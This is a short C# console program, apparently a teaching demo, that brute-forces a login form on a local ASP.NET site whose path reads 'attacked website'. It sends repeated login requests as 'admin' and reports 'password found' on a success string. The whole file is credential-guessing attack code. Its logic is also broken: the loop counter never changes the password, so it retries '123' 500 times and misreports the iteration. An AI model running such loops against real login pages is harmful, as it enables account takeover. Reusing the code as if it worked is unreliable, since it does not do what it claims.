using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; namespace 破解Default { class Program { static void Main(string[] args) { WebClient wc = new WebClient(); wc.Encoding = Encoding.UTF8; for (int i = 0; i < 500; i++) { string s = wc.DownloadString("http://localhost:1755/%E8%A2%AB%E6%94%BB%E5%87%BB%E7%9A%84%E7%BD%91%E7%AB%99/default.aspx?TextBox1=admin&TextBox2=123&Button1=Button"); Console.WriteLine(s); if (s.Contains("登陆成功")) { Console.WriteLine("密码找到了!"+i); } } Console.ReadKey(); } } }